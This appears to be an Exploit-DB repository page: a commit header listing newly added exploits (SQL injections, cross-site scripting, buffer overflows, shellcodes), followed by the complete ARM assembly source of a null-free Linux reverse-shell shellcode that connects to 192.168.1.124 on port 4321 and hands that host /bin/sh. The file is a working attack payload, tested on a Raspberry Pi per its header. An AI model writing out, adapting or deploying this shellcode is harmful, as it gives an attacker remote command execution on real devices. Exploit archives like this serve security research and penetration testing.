Files
exploitdb/shellcodes/arm/46258.s
T
Offensive Security b68cbec24d DB: 2019-01-29
26 changes to exploits/shellcodes

Sricam gSOAP 2.8 - Denial of Service
Smart VPN 1.1.3.0 - Denial of Service (PoC)
MySQL User-Defined (Linux) x32 / x86_64 - sys_exec Function Local Privilege Escalation
Easy Video to iPod Converter 1.6.20 - Buffer Overflow (SEH)
R 3.4.4 XP SP3 - Buffer Overflow (Non SEH)
BEWARD Intercom 2.3.1 - Credentials Disclosure
Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)(DEP Bypass)

CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)
Rundeck Community Edition < 3.0.13 - Persistent Cross-Site Scripting
WordPress Plugin Ad Manager WD 1.0.11 - Arbitrary File Download
AirTies Air5341 Modem 1.0.0.12 - Cross-Site Request Forgery
LogonBox Limited / Hypersocket Nervepoint Access Manager - Unauthenticated Insecure Direct Object Reference
CMSsite 1.0 - 'cat_id' SQL Injection
CMSsite 1.0 - 'search' SQL Injection
Cisco RV300 / RV320 - Information Disclosure
Cisco Firepower Management Center 6.2.2.2 / 6.2.3 - Cross-Site Scripting
Newsbull Haber Script 1.0.0 - 'search' SQL Injection
Care2x 2.7 (HIS) Hospital Information System - Multiple SQL Injection
Teameyo Project Management System 1.0 - SQL Injection
Mess Management System 1.0 - SQL Injection
MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting
ResourceSpace 8.6 - 'collection_edit.php' SQL Injection

Linux/x86 - exit(0) Shellcode (5 bytes)
Linux/x86 - Read /etc/passwd Shellcode (58 Bytes) (2)
Linux/ARM - Reverse TCP (/bin/sh) - 192.168.1.124:4321 Shellcode (64 bytes)
Linux/ARM -  Bind TCP (/bin/sh)-0.0.0.0:4321 Null Free Shellcode (84 bytes)
2019-01-29 05:01:52 +00:00

52 lines
1.3 KiB
ArmAsm

/*
* Title: Linux/ARM - Reverse_Shell Shellcode TCP (/bin/sh). Null free shellcode (60 bytes)
*Reverse shellcode for ARM 60 bytes-shortest ever till the date of creation
* Date: 2019-01-27
* Tested: armv7l (Raspberry Pi b3+)
* Author: Gokul Babu-https://www.linkedin.com/in/gokul-babu-452b3b112/
*/
/*socket 281, domain=2,type=1,protocol=0*/
/*connect 283,sockfd=resultant vaule r0=3,*addr=AF_inet+port+ip,addrlen=16bytes*/
/*dup2 63,oldfd=sockfd, newfd=0-stdin,1-stout,2-stderr*/
/*execve 11, *command="/bin/sh",0,0"*/
.section .text
.global _start
_start:
.ARM
add r3,pc,#1
bx r3
.THUMB
//socket:
mov r0,#2
mov r1,#1
mov r7,#200
add r7,#81
svc #1
push {r0,r1,r2} /*store all values r0=3,r1=1,r2=0*/
//connect:
adr r1,exc+8 /*pointing to AF_Inet+PORT+IP*/
strb r2,[r1,#1]
mov r2,#16
add r7,#2
svc #1
//dup2:
//dup2(3,2)/*No need of stderr, program works fine without stderr*/
pop {r0,r1,r2} /*Restoring all values as the values would have been changed after connect call*/
mov r7,#63
//dup2(3,1)
svc #1
//dup2(3,0) -> but gets changed to dup2(1,0)-see strace debug file for reference
sub r1,#1
svc #1
//execve:
adr r0,exc
strb r1,[r0,#7]
mov r7,#11
svc #1
exc:
.ascii "/bin/shX"
//struct:
.ascii "\x02\xff"
.ascii "\x10\xE1" //port 4321
.byte 192,168,1,124 //IP